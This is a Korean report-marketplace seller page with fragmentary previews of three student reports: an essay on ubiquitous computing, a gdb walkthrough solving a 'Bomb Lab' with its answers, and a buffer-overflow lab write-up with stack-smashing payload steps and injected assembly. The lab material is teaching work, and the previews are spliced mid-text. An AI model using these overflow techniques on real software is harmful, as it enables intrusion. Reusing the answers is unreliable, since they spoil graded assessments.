• 전문가 요청 쿠폰 이벤트
*상*
Bronze개인인증
팔로워0 팔로우
소개
등록된 소개글이 없습니다.
전문분야 등록된 전문분야가 없습니다.
판매자 정보
학교정보
입력된 정보가 없습니다.
직장정보
입력된 정보가 없습니다.
자격증
  • 입력된 정보가 없습니다.
판매지수
전체자료 3
검색어 입력폼
  • 유비쿼터스 레포트
    Ubiquitous(유비쿼터스)목차1. 유비쿼터스의 등장배경2. 유비쿼터스의 정의3. 유비쿼터스의 특징4. 유비쿼터스의 적용사례5. 유비쿼터스의 장,단점6. 유비쿼터스의 발전방향1. 유비쿼터스의 등장배경20세기 후반기 동안에 산업화의 시대는 다른 시대에 의해서 밀려났다. 즉, 컴퓨터가 경제를 주도하는 시대이다. 산업화가 기계의 도움으로 노동 생산성을 증가시킨 반면에 컴퓨터는 정신적 생산성을 배가 시켰다. 증기기관의 도움이 수 톤의 철을 들어올리는 것과 증기기관차를 운행하는 것과 같은 중대한 일을 하는 것을 갑자기 가능하게 한 것같이 컴퓨터의 사용은 전화 결제, 지불, 송장, 대차대조표, 제조, 일기예보 등의 믿을 수 없을 정도로 거대한 정보를 사용하고 처리하는 것을 가능하게 만들었다. 이렇게 증기 엔진처럼 컴퓨터는 거대하고 미스터리한 블랙박스로써 존재하기 시작했다. 중앙 집중의 데이터 처리는 보험회사, 정부기관, 비행기 관제의 정보관리 능력을 향상시켰다. 회사 내부적으로 국한된 정보 기술은 종업원에게 정적인 환경을 만들어 주는데 중점을 두었다. 설비, 애플리케이션, 사용자 인터페이스 관리의 중앙집중은 전반적인 생산성 향상의 핵심이었다. 소비자나 사업 동반자는 일상생활에서 정보 처리의 과정에 거의 참여하지 않았다. 아주 잘 제어되는 데이터 교환 인터페이스나 위성 시스템은 바깥 세상으로의 유일한 인터페이스였다.그러나 백여 년 전 에너지가 어디에서나 있을 때나 제 2단계 산업화 현상이 나타난 바로 그것처럼 오늘날 우리는 분산 정보 기술로 옮겨가는 것을 분명히 볼 수 있다. 데이터 처리는 더 이상 자체 컴퓨터 시스템을 가지고 운영하는 거대 기업만의 특권이 아니다. 오래된 좋은 개인용 컴퓨터가 사무실과 가정을 장악하였기 때문에 마이크로프로세서는 급작스럽게 메인 프레임의 사장을 가져왔다. 컴퓨터는 오늘날의 통신, 엔터테인먼트, 상업, 금융, 산업의 본질적인 부분이 되었다. 우리의 하이테크 문화는 점점 더 전자적인 창조, 저장, 개인과 사업정보의 교환에 의존한다. 정보 기술은 널리 퍼졌고 직업의 종류, 라이프 스타일, 사업 관계 등을 변화시켰다. 이런 세상을 유비쿼터스 세상이라고 한다. 유비쿼터스라는 단어는 1988년 제록스사에서 근무하던 마크와이저가 처음 제시하였다. “미국 제록스사의 팰러앨토연구센터(PARC:Palo Alto Research Center)에서 연구원으로 일하던 마크 와이저라는 사람이 있었다. 그는 오랜 시간동안 다가올 미래의 전자문명의 화두가 무엇일까에 대해 고민했다. ‘분명 지난 30여년 동안 설계되고 문명을 지배해온 컴퓨터 시스템과는 근본적으로 다르지 않겠는가’ ‘아침에 현관에서 신문을 집어들거나 출근시 구두주걱으로 구두를 신을 때의 느낌처럼 사람과 사물간에 인터페이스가 어떤 거부감도 없이 자연스럽게 연결될 수 있게 하는 기술이 필요하지 않을까’ ‘그렇게 되려면 인간과 컴퓨터 그리고 네트워크가 서로 조화돼 나타날 지극히 인간화된 기술(calm technology)이어야 하지 않을까’ 등 수많은 추론과 질문을 던져보았다. 그러다 이것이 점점 구체화되기 시작하면서 지난 88년에 비로소 본격적인 연구과제로 추진된다. 그 연구과제의 주제가 바로 ‘유비쿼터스 컴퓨팅’이었다.”2. 유비쿼터스의 정의유비 쿼터스(Ubiquitous)란 라틴어로는 ‘모든 곳에 존재한다(보편적으로 존재한다)’ 라는 의미라고 한다. 현재 우리 사회에서의 유비쿼터스의 개념은 크게 두 가지로 정의할 수 있다. 하나는 실세계의 각종 사물과 환경 전반(물리공간)에 컴퓨터를 장착하되 컴퓨터의 겉모습은 드러나지 않도록 환경내에 효과적으로 심어지고 융합될 수 있도록 하는 것이고, 또 하나는 사용자가 거부감을 느끼지 않고 언제 어디서나 존재하는 컴퓨터(대상에 맞는 특수한 기능을 보유)를 편리하게 이용할 수 있도록 만드는 일이다.- 컴퓨터를 사물안에 효과적으로 심어서 넣은 유비쿼터스 환경3. 유비쿼터스의 특징유비쿼터스는 다양한 특징을 가지고 있는데, 첫 번째 특징으로는 ‘네트워크에 접속되어야 한다.’ 이다. 무선을 통하여 모든 기기들이 연결이 되어 어느 곳에서나 정보를 얻을 수 있다. 어디에나 컴퓨터가 있기 때문에 컴퓨터를 가지고 다닐 필요가 없다. 하지만 이러한 개념에 반하여 일본에서 제안하는 유비쿼터스 네트워크는 휴대단말기를 통하여 어디에서든지 정보를 얻을 수 있다는 약간은 다른 개념을 제안하고 있다. 두 번째 특징으로는 ‘컴퓨터는 사용자에게 보이지 않아야 한다’는 특징이다. 주변 물리적 환경속에 컴퓨터를 사용할수 있게 함으로써 컴퓨터 활용도가 증가하지만, 사용자가 컴퓨터가 존재하는 것을 의식하지 않으면서도 자연스럽게 컴퓨터를 사용할 수 있어야 한다. 이러한 개념은 컴퓨터 칩 설계, 네트워크 프로토콜, 입출력 장치, 응용프로그램, 프라이버시 같은 모든 컴퓨터 분야의 연구에 영향을 주게 된다. 또한 주변환경에 숨어 있는 컴퓨터들의 도움을 받아서 여러 일들을 하지만 사용자는 자기 스스로 어떤 일을 했다고 느낄 정도로 컴퓨터의 존재를 느끼지 못하게 된다.. 세 번째 특징으로는 ‘현실세계 어디서나 컴퓨터 사용이 가능해야 한다’ 이다. 유비쿼터스 컴퓨팅은 가상 현실이 아닌 현실세계에 정보를 표현할 수 있는 증강현실이 되어야 한다. 네 번째 특징으로는 ‘상황에 따른 서비스의 변화’이다. 유비쿼터스 세계에서는 이용자가 누구인지에 따라서, 또는 이용자가 놓여있는 상황에 맞추어 컴퓨터가 스스로 제공하는 서비스를 변화시킬 수 있는 능력이 요구된다. 다시말해, 사용하는 사람에 따라, 혹은 그 장소에 있는 기기의 역할에 따라서 제공되는 서비스가 바뀌게 된다는 것이다. 마지막으로는 ‘가상현실과의 차이점이 있다는 것이다.’ 가상현실은 한마디로 말하면 컴퓨터의 가상세계가 사람에게 체험을 부여하는 것이다. 한편 유비쿼터스는 컴퓨터가 현실세계에 존재하고 정보도 현실세계에서 표시된다. 즉, “컴퓨터에 의해 만들어진 가상공간 안에서 어디에서든지 컴퓨터를 사용할 수 있다.”는 개념은 유비쿼터스가 아니라는 것이다.4. 유비쿼터스의 적용사례1) 위치기반서비스(LBS)LBS(Location Based Service)는 휴대폰 속의 칩을 이용해 가입자들의 위치를 반경 수십 센티에서 수십 미터 내에서 언제든지 확인 할 수 있도록 해주며 사용자가 원하는 각종 정보를 개인화 된 환경에서 서비스가 가능하도록 해 준다. 서비스 방식에 따라 이동통신기지국을 이용하는 방식과 위성을 활용한 GPS(Global Positioning Service)로 구분되며, 서비스 유형별로 위치추적서비스, 공공안전서비스, 위치기반정보서비스 등으로 분류됩니다. 최근 SK텔레콤, KTF, LG텔레콤 등 이동통신 3사에서 카 네비게이션, 위치기반컨텐츠, 모바일 옐로 페이지 서비스 등 그 활용분야갸 확대되는 추세이다.2) 스마트 타이어스마트 타이어란 기존 고무 타이어에 각종 안전센서를 장착해 운전자의 위험상황을 경고하는 기능까지 수행하는 미래형 타이어로 실제 주행 중인 타이어가 펑크가 나기전에 타이어 공기압 정보를 운전자에게 알려주거나 노면조건을 감지하고 타이어 외부형태까지 바꾸는 꿈의 자동차 타이어입니다. 스마트 타이어의 핵심기술인 타이어 압력 모니터링 시스템(TPMS: Tire Pressure Monitoring System)은 4개의 타이어 내부 링에 장착된 무선 송신기와 압력?온도 센서 모듈, 운전석에 설치된 전용수신기로 구성되어, 시동을 켤 때마다 모든 타이어의 압력상황이 체크되어 계기판으로 압력정보가 전송되고 위험징후시 경고알람을 보내며 디스플레이를 통해 위급상황을 무선으로 알려준다.3) UFID 프로젝트건물, 문화재, 도로, 교량, 하천, 호수 해한 등 인공 및 자연 지형지물에 부여될 전자식별자(UFID : Unique Feature Identifier)는 쉽게 말해 사람의 주민등록번호와 동일한 개념으로 지형지물 관리기관별로 관리해온 데이터베이스에 UFID를 주 검색기로 사용함으로써 국가기반시설물들을 통합 관리할 수 있게 한다. 따라서 UFID 활용체계가 구축되면 항목, 위치, 행정구역, 지도, 관리기관 등 개별 식별자만으로도 원하는 종류의 각종 속성정보를 검색하고 출력할 수 있다. 또한, 개별 관리되는 데이터베이스에 동일 지형지물의 정보를 중복 입력하지 않게 되므로 정보의 일관성을 유지하고 정보 수집 및 입력시 중복 투자도 막을 수 있다.5. 유비쿼터스의 장 ? 단점1) 유비쿼터스의 장점유비쿼터스의 장점은 크게 개인측면, 기업측면, 국가측면 이렇게 세가지로 볼수 있다.첫 번째, 개인의 측면으로는 개개인의 삶의 질을 향상시켜서 개인의 시간 절약을 통해 효율적으로 시간을 관리할수 있다는 점과 생활의 편리성이 증대 된다는 것이다.두 번째, 기업의 측면으로는 기업운영의 효율성이 증대가 되는데 기업의 재고관리가 용이해 지고, 각종 직원관리 및 업무 처리에 있어서의 비용절감과, 유비쿼터스화를 통해 불필요한 인력낭비가 방지 된다는 점이 자점이다.
    공학/기술| 2015.04.22| 4페이지| 1,000원| 조회(314)
    미리보기
  • 시스템프로그래밍 Bomb LAB, Binary LAB (폭탄제거) 평가D별로예요
    1. 1단계(phase_1)가. 내가 받은 bomb66의 파일을 gdb로 연다.나. 그 다음 실행파일에는 무조건 main함수가 있기 때문에 disas main 명령어를 이용해서 어셈블리어파일을 본다. 보면 phase_1함수가 main함수에 있다는 것을 알 수 있다.다. 그다음 phase_1의 함수에 break를 걸고 break지점까지 실행을 시킨다. 이때 문장이나 입력하고서 phase_1함수를 disas명령어를 입력해서 역어셈블러 해본다.라. disas를 하고나서 $esi 레지스터의 값을 어떤 주소값으로 옮기는 어셈블리어를 보게 될 것이다. mov $0x402750, $esi 이부분을 조사해보았더니 $esi레지스터에는 내가 입력했었던 I love you라는 문장이 나왔다.마. 그러고나서 주소값 0x402750을 x/s명령어를 이용하여 출력해보니 I turned the moon into something I call a Death Star. 라는 결과가 나왔다. 그래서 입력하였더니 1단계 Clear완료.2. 2단계(phase_2)가. 1단계와 마찬가지로 시작하자마자 explode_bomb함수에 break를 걸고 phase_2함수에다가도 break를 걸었다. 그러고서 run을 실행하여 phase_2함수에 진입한다. 그러고서 disas phase_2를 하였다. 그랬더니 read_six_numbers라는 함수가 보여서 disas read_six_numbers를 했다.나. 그랬더니 어떤레지스터에서 주소값으로 값을 옮기는 행동을 취하는 mov $0x402ac5, %esi 어셈블리어가 보였다. 그래서 x/s를 이용하여 주소값을 출력해보았더니 정수형 숫자 6개를 입력하는 것이 나왔다. 그래서 phase_2의 답은 정수형숫자 6개를 넣는것이라는 것을 알아냈다.다. 그러고서 quit를 이용하여 gdb를 종료한후 다시 실행시켜서 폭탄부분과 phase_2부분을 break를 걸고 실행하고서 phase_2단계의 답을 임시로 0 1 2 3 4 5를 입력하였다. 그러고나서 disas ph어문들을 보았다.라. 위의 그림에서처럼 %rsp의 값을 숫자 0하고 비교하여 같지 않으면 폭탄으로 이동하고 아니면 그 다음문장으로 이동한다. 그리고 그 다음 비교문을 보면 %rsp+4 위치의 값이랑 숫자 1하고 비교하여 같지않으면 폭탄으로 이동하고 같으면 phase_2+32 위치로 점프를 한다. 이 문장을 보고서 숫자 6개중 처음 두 개의 숫자는 0하고 1이라는 것을 알아냈다.마. 그다음 위의 그림처럼 빨간 사각형안을 보면 %rsp + 8위치를 %rbx라는 레지스터에 적재시키고 $eax레지스터에 %rbx-0x8을 하여서 맨처음에 입력했던 값을 넣는다. 그다음 %rbx-0x4를 레지스터 %eax에 더한다. %rbx-0x4는 두 번째로 입력했던 값이다. 이렇게해서 첫 번째의 숫자와 두 번째의 숫자를 더해서 레지스터 %eax에 넣고 현재 %rbx위치인 %rsp+8위치의 값과 비교한다. 값과 일치하면 그 다음 문장으로 넘어가고 아니면 폭탄함수를 호출하게 된다. 이로써 숫자 규칙을 알아냈다. 첫 번째숫자 0이고 두 번째숫자 1이고 그다음숫자는 앞의 두숫자 더하는 값 1이고 또 앞의 2개 더하면 2.....이렇게 반복해서 6개의 숫자를 만들어보았더니 0 1 1 2 3 5 라는 숫자가 나와서 입력해보았다.2단계를 성공하여 That's number 2. Keep going! 이라는 문장이 출력되었다.3. 3단계(phase_3)가. 앞의 단계와 똑같이 phase_3함수와 explode_bomb함수에 break를 건다. 그리고나서 우선 3단계의 임시 답을 넣어본다.나. 이렇게 임시 답을 넣고 나면 phase_3으로 진입 후 break가 걸린다. 그러고 나서 아래 그림과 같이 mov $0x402ad1, $esi 라는 어셈블리어가 수상해서 혹시나해서 출력해보았더니 정수형 숫자 2개를 받는 힌트를 얻었다. 또 cmp $0x1, $eax라는 라인을 보고 혹시나해서 출력을 해보았더니 값이 2가 나왔다. 그래서 나는 프로그램을 끄고 다시 phase_3까지 실행시켜서 phase_3단계의 숫았다. 이로써 첫 번째 제어문은 입력하는 값의 개수가 1보다 커야 폭탄을 피해갈수 있다는 것을 알 수 있다.다. 그래서 그다음엔 정수 2개를 입력해보고 disas을 하였다. 그러고서 이전에 내가보았던 $eax를 숫자 1과 비교하는 제어문의 다음으로 넘어가게 되었고, 다음 제어문은 rsp+8과 7을 비교하는 제어문이였다. 그래서 rsp+8의 값이 뭔지 한번 출력해보았고 rsp+12를 출력해보았더니 아까 내가 입력했던 숫자 8과 5가 출력되었다.라. 위의 그림을보고 rsp+8 즉, 첫 번째 입력한 숫자가 7과 비교를하고 7보다 크면 에 해당하는 문장으로 이동하게되는데 폭탄으로 연결되는 곳이다. 그래서 첫 번째 숫자는 7보다 작아야 한다는 것을 알수 있다. 그래서 다시 첫 번째숫자를 7보다 작은 수를 입력하고 실행했다. 그랬더니 rax레지스터에 8을 곱하고 + 0x4027c0주소값에 있는 값을 더하는 곳으로 이동했다. rax의 값을 출력해보았는데 첫 번째로 입력했던 숫자를 출력되었기 때문에 0x4027c0에 있는 주소값의 정체를 몰라서 첫 번째로 입력되었던 숫자를 바꿔가면서 줄을 실행해보았더니 이러한 결과가 나왔다.마. 위의 그림에서 나오지 않은 첫 번째 숫자 6과 7을 각각 집어넣어봤는데 x값이 24와 28이 각각 나왔다. 그래서 일정하게 4씩 증가하지않은 1,2,3을 제외하고 첫번째숫자를 4,5,6,7로 예상하였다 그래서 4를 넣고 실험을 해보게 되었다. 실행을 해보았더니 제어문에 rsp+8과 5를 비교하는 문장이 나왔다. rsp+8이 5보다 크면 폭탄으로 가지고 5보다 작거나 같으면 통과하는 문장이라 첫 번째숫자는 4,5 둘중에 하나인 것이 확실해졌다. 난 다행히 첫 번째숫자를 4로 입력하여서 저곳을 통과하였다.바. 그러고나서 다음 제어문은 %eax의 값과 rsp+12(두번째 입력한 값)을 비교하는데 이때 두 개의 값이 같아야 폭탄으로 빠지지 않는다. 이전 그림에서 현재까지의 %eax의 값은 0이였는데 두 번째 값과 0을 비교하는 문장이 나온 것이다....그사. 지금까지의 과정으로 답을 구한 첫 번째 숫자 4와 두 번째숫자 0을 입력한다.3단계도 성공하여 Halfway there! 라는 문구가 출력되었다.!!4. 4단계(phase_4)가. 먼저 disas phase_4를 이용하여 어셈블리어를 본다. 보면 이전단계처럼 힌트를 찾을 수 있는데 mov $0x402ad1 부분을 보면 정수형 2개가 답이라는 것을 알 수 있다.나. 위의 그림에서 두 개의 정수가 들어간다는 것을 알고 실행시켜서 임의의 2개의 정수를 입력하였다. 그렇게 하였더니 빨간색 네모처리 된 부분이 통과되었다. 아마도 저 비교문은 입력된 값이 두 개이면 그 다음문장을 수행하고 그렇지 않으면 에 해당하는 explode_bomb함수로 이동한다. 나는 두 개의 정수를 입력하여서 그 다음 문장으로 넘어갔다.다. 아래 그림을 보면 $eax에 두 번째 입력값인 10이 들어가는데 그 아래 제어문에서 그 값과 숫자 1을 비교한다. 1과 비교해서 1보다 작거나 같으면 폭탄으로 가고, 크면 통과하게 되어있다. 통과를 하면 그다음 문장에서 $eax와 숫자 4를 비교한다. 4와 비교해서 4보다 크면 폭탄으로 가고 4보다 작거나 같으면 통과한다.라. 결국 $eax에 들어가는 두 번째 입력값을 x라고 생각한다면 범위는 1 < x 4 > 6 > 5 > 1이다.파. 그래서 나는 이번에는 “3 2 4 6 5 1”숫자를 입력하고서 프로그램을 실행하였고, until *(phase_6+280)을 이용하여 함수 종료직전까지 실행을 해보았더니 문제의 답을 입력하였을 때 실행되는 함수 가 실행이 되었다. 그래서 답이라는 것을 알았다.하. 그래서 bomb파일을 gdb가 아닌 ./bomb를 이용하여 실행해 보았다.3 2 4 6 5 1을 입력하고서 Enter를 쳐보니, Congratulations! You've defused the bomb!Your instructor has been notified and will verify your solution.이라는 문장이 출력되고 프로그램이 종료되었다 Secret단계(secret_phase)가. phase_6단계까지 깨고 나서 Bomb_Lab이 끝 인줄 알았던 나는 secret_phase단계가 있다는 것을 뒤늦게 알았다. 그래서 뒤늦게 secret단계에 관한 것을 알아보려고 모든 함수를 disas해서 단서를 찾던 중에 함수를 찾았다.나. 함수에서 함수로 어떻게 진입하는지 알아보려고 조사하기 시작하였다. 그래서 phase_defused에 break를 걸고 phase_1단계 성공 후 phase_defused가 break에 걸려서 함수를 조사하였다. 첫 번째 제어문의 역할이 무엇인지 파악하려고 조사했다. %rip+0x20335c에 해당하는 숫자의 값이 6이 아니면 함수 끝으로 가서 함수를 종료시킨다. 그래서 나는 함수를 빠져나가고 두 번째 단계를 깨고 등장하는 phase_defused함수에서 또 %rip+0x20335c의 값을 조사해보았다.다. 2단계의 정답을 입력하고서 그다음 %rip+0x20335c의 값을 출력해보았다. 이걸로 보아서 6단계까지 다 깨야 그다음 문장으로 진입할 수 있다는 것을 알게 되었다.라. 그래서 6단계의 정답을 입력하고서 마찬가지로 %rip+0x20335c의 값을 입력해보았더니 그다음문장으로 넘어가게 되었다!!!! 그러고서 수상한 주소 값을 보게 되어서 출력을 해보았다. 그랬더니 정수형 2개를 입력하고 그 뒤에 string을 입력받는 힌트를 얻었고 그 다음 주소 값에서는 내가 phase_4단계에서 입력했던 정수형 숫자 2개를 알 수 있었다. 그것을 보고 phase_4단계에서 내가 지금까지 입력해왔던 값 뒤에 string을 넣어줘야 secret_phase가 열린다는 것을 알아냈다.마. 그리고 아래문장을 보았더니 어떤 주소 값을 $esi레지스터에 넣고 phase_1단계처럼 함수를 실행시키는 것을 봤다. 그래서 0x402ae0의 주소 값을 출력해보았더니 "DrEvil“이 출력되었다. 그래서 프로그램을 다시 실행하여 phase_4에서 ”176 2 DrEvil"을 입력 후 phase_6단계까지
    공학/기술| 2015.04.22| 35페이지| 5,000원| 조회(1,178)
    미리보기
  • buffer bomb 보고서(Level 0 ~ Level 4)
    BufBomb Level 0 보고서1 void test()2 {3 int val4 /* Put canary on stack to detect possible corruption */5 volatile int local = uniqueval();67 val = getbuf();89 /* Check for corrupted stack */10 if (local != uniqueval()) {11 printf("Sabotaged!: the stack has been corrupted n");12 }13 else if (val == cookie) {14 printf("Boom!: getbuf returned 0x%x n", val);15 validate(3);} else {17printf("Dud: getbuf returned 0x%x n", val);18 }19 }void smoke(){printf("Smoke!: You called smoke() n");validate(0);exit(0);}level 0단계는 getbuf()함수에서 값을 받아서 버퍼를 오버 플로우 시켜서 리턴 주소를 smoke()함수의 주소 값으로 바꿔서 smoke()함수를 호출하는 문제이다.먼저 gdb bufbomb를 명령어로 친다. 그러고서 getbuf()에 브레이크를 걸고서, run -u a201001672를 이용하여 실행한다.Breakpoint 1, 0x08048d92 in getbuf ()(gdb) disasDump of assembler code for function getbuf:=> 0x08048d92 : sub $0x3c,%esp0x08048d95 : lea 0x10(%esp),%eax0x08048d99 : mov %eax,(%esp)0x08048d9c : call 0x8048c66 0x08048da1 : mov $0x1,%eax0x08048da6 : add $0x3c,%esp0x08048da9 : retEnd of assembler dump.위를 보면 getbuf에 진입하 04 movl $0x804a19e,0x4(%esp)8048bcd: 088048bce: c7 04 24 01 00 00 00 movl $0x1,(%esp)8048bd5: e8 96 fd ff ff call 8048970 8048bda: c7 04 24 01 00 00 00 movl $0x1,(%esp)8048be1: e8 a5 06 00 00 call 804928b 8048be6: eb 18 jmp 8048c00 8048be8: 89 44 24 08 mov %eax,0x8(%esp)8048bec: c7 44 24 04 34 a3 04 movl $0x804a334,0x4(%esp)8048bf3: 088048bf4: c7 04 24 01 00 00 00 movl $0x1,(%esp)8048bfb: e8 70 fd ff ff call 8048970 8048c00: c7 04 24 00 00 00 00 movl $0x0,(%esp)8048c07: e8 a4 fc ff ff call 80488b0 이로써 fizz함수의 주소 값은 0x08048bb3 인 것을 알 수 있다. 그리고서 아래의 어셈블리어를 보면mov 0x20(%esp),%eaxcmp 0x804d10c,%eaxjne 8048be8 esp+20에 해당되는 위치에 있는 값을 eax에 넣고 eax와 0x804d10c에 있는 값하고 비교하고 있다.그래서 0x804d10c에 무슨 값이 있는지 출력하여 확인해 보았다.Userid: a201001672Cookie: 0x176e06b8(gdb) x/d *0x804d10c0x176e06b8: Cannot access memory at address 0x176e06b8이렇게 확인하였더니 나의 쿠키 값에 해당되는 주소가 들어있었다. 결국 eps+20에 해당하는 위치에는 쿠키값의 주소를 넣어주면 되는 것이다.0x08048bc0 in fizz ()(gdb) disasDump of assembler code for function fizz:0x08048bb3 : sub $0x1c,%es104의 값을 넣어주고 eax레지스터와 0x804d10c의 값을 비교하고 있다. 각 주소값에 어떤값들이 있는지 확인해보았다.(gdb) x/s *0x804d1040x0: =====> 아무값이 없다.(gdb) x/s *0x804d10c0x176e06b8: =====> 0x176e06b8주소(쿠키값)를 가르키고 있다.그래서 나는 한줄 더 실행하여 디스어셈블을 하였고 $esp에있는 값들을 출력해보았다.Dump of assembler code for function bang:0x08048c0c : sub $0x1c,%esp=> 0x08048c0f : mov 0x804d104,%eax0x08048c14 : cmp 0x804d10c,%eax0x08048c1a : jne 0x8048c42 0x08048c1c : mov %eax,0x8(%esp)0x08048c20 : movl $0x804a354,0x4(%esp)0x08048c28 : movl $0x1,(%esp)0x08048c2f : call 0x8048970 0x08048c34 : movl $0x2,(%esp)0x08048c3b : call 0x804928b 0x08048c40 : jmp 0x8048c5a 0x08048c42 : mov %eax,0x8(%esp)0x08048c46 : movl $0x804a1bc,0x4(%esp)0x08048c4e : movl $0x1,(%esp)0x08048c55 : call 0x8048970 0x08048c5a : movl $0x0,(%esp)0x08048c61 : call 0x80488b0 End of assembler dump.(gdb) x/20x $esp0x5568317c : 0x61616161 0x61616161 0x61616161 0x616161610x5568318c : 0x61616161 0x61616161 0x08048c0c 0x000000000x5568319c : 0x00000000 0x55686018 0xf7e286c0 0x55685ff00x556831ac : 0xf7b $0x3c,%esp0x08048d95 : lea 0x10(%esp),%eax0x08048d99 : mov %eax,(%esp)0x08048d9c : call 0x8048c66 0x08048da1 : mov $0x1,%eax0x08048da6 : add $0x3c,%esp0x08048da9 : ret그랬더니 예상이 맞았다. eax레지스터의 값을 1로 바꿔주고있었다. 그래서 나는 getbuf함수의 리턴주소를 비어있는 스택의 주소로 바꾸고서 그곳에서 eax의 레지스터값을 나의 쿠키 값으로 바꾸고 리턴하는 어셈블리어를 작성해 보았다.a201001672@sslab:~/buflab-handout$ cat assembly2.smovl $0x176e06b8, %eax// 위에서 $eax값을 1로 변경된 것을 여기서 나의 쿠키값으로 변경해줌push $0x08048dd5// 0x08048dd5를 스택에 넣어줌으로써 리턴할시 이 주소로 리턴됨.reta201001672@sslab:~/buflab-handout$ gcc -c assembly2.sa201001672@sslab:~/buflab-handout$ objdump -d assembly2.oassembly2.o: file format elf64-x86-64Disassembly of section .text:0000000000000000 :0: b8 b8 06 6e 17 mov $0x176e06b8,%eax5: 68 d5 8d 04 08 pushq $0x8048dd5a: c3 retq이렇게 하고나서 vi편집기를 이용해 ex3.txt파일을 만들고 ./hex2raw이용하여 ex3-raw.txt 파일을 만들었다.그리고 gdb bufbomb를 이용해 돌려보았다.Segmentation fault was caused by the overwritten %ebp.Type string:Ouch!: You caused a segmentation fault!Better luck next time이러한 에러가 뜨면서 성공하질 못하였다. 그래서 어셈,%esp0x08048d06 : lea 0x10(%esp),%eax0x08048d0a : mov %eax,(%esp)0x08048d0d : call 0x8048c66 0x08048d12 : mov $0x1,%eax0x08048d17 : add $0x21c,%esp0x08048d1d : ret(gdb) x $esp0x55683194 : 0x08048d2e(gdb) x $esp-0x100x55683184 : 0xf7f2b0752) 두 번째 스트링 입력하기 전.Dump of assembler code for function getbufn:=> 0x08048d00 : sub $0x21c,%esp0x08048d06 : lea 0x10(%esp),%eax0x08048d0a : mov %eax,(%esp)0x08048d0d : call 0x8048c66 0x08048d12 : mov $0x1,%eax0x08048d17 : add $0x21c,%esp0x08048d1d : retEnd of assembler dump.(gdb) x $esp0x55683114 : 0x08048d2e(gdb) x $esp-0x100x55683104 : 0xf7f2b0753) 세 번째 스트링 입력하기 전.Dump of assembler code for function getbufn:=> 0x08048d00 : sub $0x21c,%esp0x08048d06 : lea 0x10(%esp),%eax0x08048d0a : mov %eax,(%esp)0x08048d0d : call 0x8048c66 0x08048d12 : mov $0x1,%eax0x08048d17 : add $0x21c,%esp0x08048d1d : retEnd of assembler dump.(gdb) x $esp0x556831c4 : 0x08048d2e(gdb) x $esp-0x100x556831b4 : 0xf7f2b0754) 네 번째 스트링 입력하기 전.Dump of assembler code for function getbufn:=
    공학/기술| 2013.12.18| 19페이지| 5,000원| 조회(1,180)
    미리보기
전체보기
받은후기 1
1개 리뷰 평점
  • A+최고예요
    0
  • A좋아요
    0
  • B괜찮아요
    0
  • C아쉬워요
    0
  • D별로예요
    1
전체보기
해캠 AI 챗봇과 대화하기
챗봇으로 간편하게 상담해보세요.
2026년 03월 29일 일요일
AI 챗봇
안녕하세요. 해피캠퍼스 AI 챗봇입니다. 무엇이 궁금하신가요?
3:05 오후
문서 초안을 생성해주는 EasyAI
안녕하세요 해피캠퍼스의 20년의 운영 노하우를 이용하여 당신만의 초안을 만들어주는 EasyAI 입니다.
저는 아래와 같이 작업을 도와드립니다.
- 주제만 입력하면 AI가 방대한 정보를 재가공하여, 최적의 목차와 내용을 자동으로 만들어 드립니다.
- 장문의 콘텐츠를 쉽고 빠르게 작성해 드립니다.
- 스토어에서 무료 이용권를 계정별로 1회 발급 받을 수 있습니다. 지금 바로 체험해 보세요!
이런 주제들을 입력해 보세요.
- 유아에게 적합한 문학작품의 기준과 특성
- 한국인의 가치관 중에서 정신적 가치관을 이루는 것들을 문화적 문법으로 정리하고, 현대한국사회에서 일어나는 사건과 사고를 비교하여 자신의 의견으로 기술하세요
- 작별인사 독후감